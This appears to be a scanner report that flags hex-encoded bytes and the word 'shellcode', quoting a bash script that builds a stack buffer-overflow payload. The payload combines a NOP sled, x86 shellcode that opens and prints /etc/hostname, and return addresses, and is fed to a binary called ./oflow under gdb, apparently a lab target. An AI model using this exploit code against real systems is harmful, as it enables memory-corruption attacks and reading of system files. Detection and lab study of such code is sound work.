Detected 5 occurrence(s) of ‘\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}': #!/bin/bash ShellCode=$(perl -e 'print "\x90"x49 . "\x89\xe6\xb0\x05\x6a\x65\x68\x74\x6e\x61\x6d\x68\x2f\x68\x6f\x73\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x31\xd2\xcd\x80\xb2\x14\x89\xf1\x89\xc3\xb0\x03\xcd\x80\xb2\x14\x89\xf1\xb3\x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80" . "\xd8\xef\xff\xbf"x2 . "\x6c\xef\xff\xbf"') #61 bits a=$(perl -e 'print "a"x108 . "\x6c\xef\xff\xbf"') (echo "run"; sleep 1; echo "$ShellCode";sleep 1) | gdb ./oflow Detected 2 occurrence(s) of ‘shellcode': xd2\xcd\x80\xb2\x14\x89\xf1\x89\xc3\xb0\x03\xcd\x80\xb2\x14\x89\xf1\xb3\x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80" . "\xd8\xef\xff\xbf"x2 . "\x6c\xef\xff\xbf"') #61 bits a=$(perl -e 'print "a"x108 . "\x6c\xef\xff\xbf"') (echo "run"; sleep […]
↧